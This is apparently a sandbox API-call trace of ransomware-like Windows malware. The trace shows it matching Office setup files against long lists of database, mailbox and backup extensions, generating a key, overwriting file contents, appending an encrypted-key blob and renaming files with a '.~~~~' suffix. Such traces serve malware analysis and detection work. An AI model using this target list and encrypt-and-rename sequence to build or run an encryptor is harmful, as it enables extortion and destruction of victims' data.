	[0080.525] lstrlenW (lpString=".pst") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".pst") returned 0x0
	[0080.525] lstrlenW (lpString=".dbv") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.525] lstrlenW (lpString=".SDF") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.526] lstrlenW (lpString=".dtxs") returned 5
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.526] lstrlenW (lpString=".db3") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".db3") returned 0x0
	[0080.526] lstrlenW (lpString=".OST") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".OST") returned 0x0
	[0080.526] lstrlenW (lpString=".dbx") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.526] lstrlenW (lpString=".DB3") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.526] lstrlenW (lpString=".DAT") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.526] lstrlenW (lpString=".VHDX") returned 5
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.526] lstrlenW (lpString=".ndf") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.526] lstrlenW (lpString=".DB") returned 3
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DB") returned 0x0
	[0080.526] lstrlenW (lpString=".sql") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".sql") returned 0x0
	[0080.526] lstrlenW (lpString=".MYD") returned 4
	[0080.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.526] lstrlenW (lpString=".DBT") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.527] lstrlenW (lpString=".ACCDB") returned 6
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.527] lstrlenW (lpString=".fdb") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.527] lstrlenW (lpString=".bak") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".bak") returned 0x0
	[0080.527] lstrlenW (lpString=".myd") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".myd") returned 0x0
	[0080.527] lstrlenW (lpString=".DTXS") returned 5
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.527] lstrlenW (lpString=".ckp") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.527] lstrlenW (lpString=".dbt") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.527] lstrlenW (lpString=".db") returned 3
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".db") returned 0x0
	[0080.527] lstrlenW (lpString=".TXT") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.527] lstrlenW (lpString=".MDF") returned 4
	[0080.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.527] lstrlenW (lpString=".bdb") returned 4
	[0080.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.528] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.528] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.529] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.529] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20051952532) returned 1
	[0080.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99d996b0, dwHighDateTime=0x1d60e1e)) 
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e3b0
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3b0 | out: hHeap=0x300000) returned 1
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.530] GetLastError () returned 0x0
	[0080.530] GetLastError () returned 0x0
	[0080.531] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.531] GetLastError () returned 0x0
	[0080.531] GetLastError () returned 0x0
	[0080.531] ReadFile (in: hFile=0x128, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x25dfec0*=0x61d, lpOverlapped=0x0) returned 1
	[0080.533] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff9e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.534] WriteFile (in: hFile=0x128, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x25dfec0*=0x61d, lpOverlapped=0x0) returned 1
	[0080.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.534] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.534] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.534] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.534] CloseHandle (hObject=0x128) returned 1
	[0080.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0080.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.~~~~")) returned 1
	[0080.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d898 | out: hHeap=0x300000) returned 1
	[0080.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.536] GetLastError () returned 0x0
	[0080.536] RtlWakeConditionVariable () returned 0x365f70
	[0080.536] GetCurrentThreadId () returned 0x9f4
	[0080.536] GetCurrentThreadId () returned 0x9f4
	[0080.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acf20 | out: hHeap=0x300000) returned 1
	[0080.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e378 | out: hHeap=0x300000) returned 1
	[0080.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.536] lstrlenW (lpString=".scr") returned 4
	[0080.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.536] lstrlenW (lpString=".cmd") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.537] lstrlenW (lpString=".dll") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.537] lstrlenW (lpString=".bat") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.537] lstrlenW (lpString=".cpl") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.537] lstrlenW (lpString=".sys") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.537] lstrlenW (lpString=".msc") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.537] lstrlenW (lpString=".com") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.537] lstrlenW (lpString=".lnk") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.537] lstrlenW (lpString=".msp") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.537] lstrlenW (lpString=".pif") returned 4
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.537] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.539] lstrlenW (lpString=".sqb") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.539] lstrlenW (lpString=".ost") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.539] lstrlenW (lpString=".txt") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.539] lstrlenW (lpString=".mdt") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.539] lstrlenW (lpString=".BDB") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.539] lstrlenW (lpString=".eql") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.539] lstrlenW (lpString=".DBF") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.539] lstrlenW (lpString=".EQL") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.539] lstrlenW (lpString=".FDB") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.539] lstrlenW (lpString=".EDB") returned 4
	[0080.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.539] lstrlenW (lpString=".DACPAC") returned 7
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.540] lstrlenW (lpString=".VHD") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.540] lstrlenW (lpString=".DBV") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.540] lstrlenW (lpString=".dacpac") returned 7
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.540] lstrlenW (lpString=".sdf") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.540] lstrlenW (lpString=".accdb") returned 6
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.540] lstrlenW (lpString=".DBX") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.540] lstrlenW (lpString=".MDT") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.540] lstrlenW (lpString=".SQB") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.540] lstrlenW (lpString=".vhd") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.540] lstrlenW (lpString=".bac") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.540] lstrlenW (lpString=".mdf") returned 4
	[0080.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.541] lstrlenW (lpString=".BAK") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.541] lstrlenW (lpString=".BAC") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.541] lstrlenW (lpString=".dbs") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.541] lstrlenW (lpString=".vhdx") returned 5
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.541] lstrlenW (lpString=".NDF") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.541] lstrlenW (lpString=".dat") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.541] lstrlenW (lpString=".DBS") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.541] lstrlenW (lpString=".CKP") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.541] lstrlenW (lpString=".edb") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.541] lstrlenW (lpString=".PST") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.541] lstrlenW (lpString=".dbf") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.541] lstrlenW (lpString=".SQL") returned 4
	[0080.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.542] lstrlenW (lpString=".pst") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.542] lstrlenW (lpString=".dbv") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.542] lstrlenW (lpString=".SDF") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.542] lstrlenW (lpString=".dtxs") returned 5
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.542] lstrlenW (lpString=".db3") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.542] lstrlenW (lpString=".OST") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.542] lstrlenW (lpString=".dbx") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.542] lstrlenW (lpString=".DB3") returned 4
	[0080.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.542] lstrlenW (lpString=".DAT") returned 4
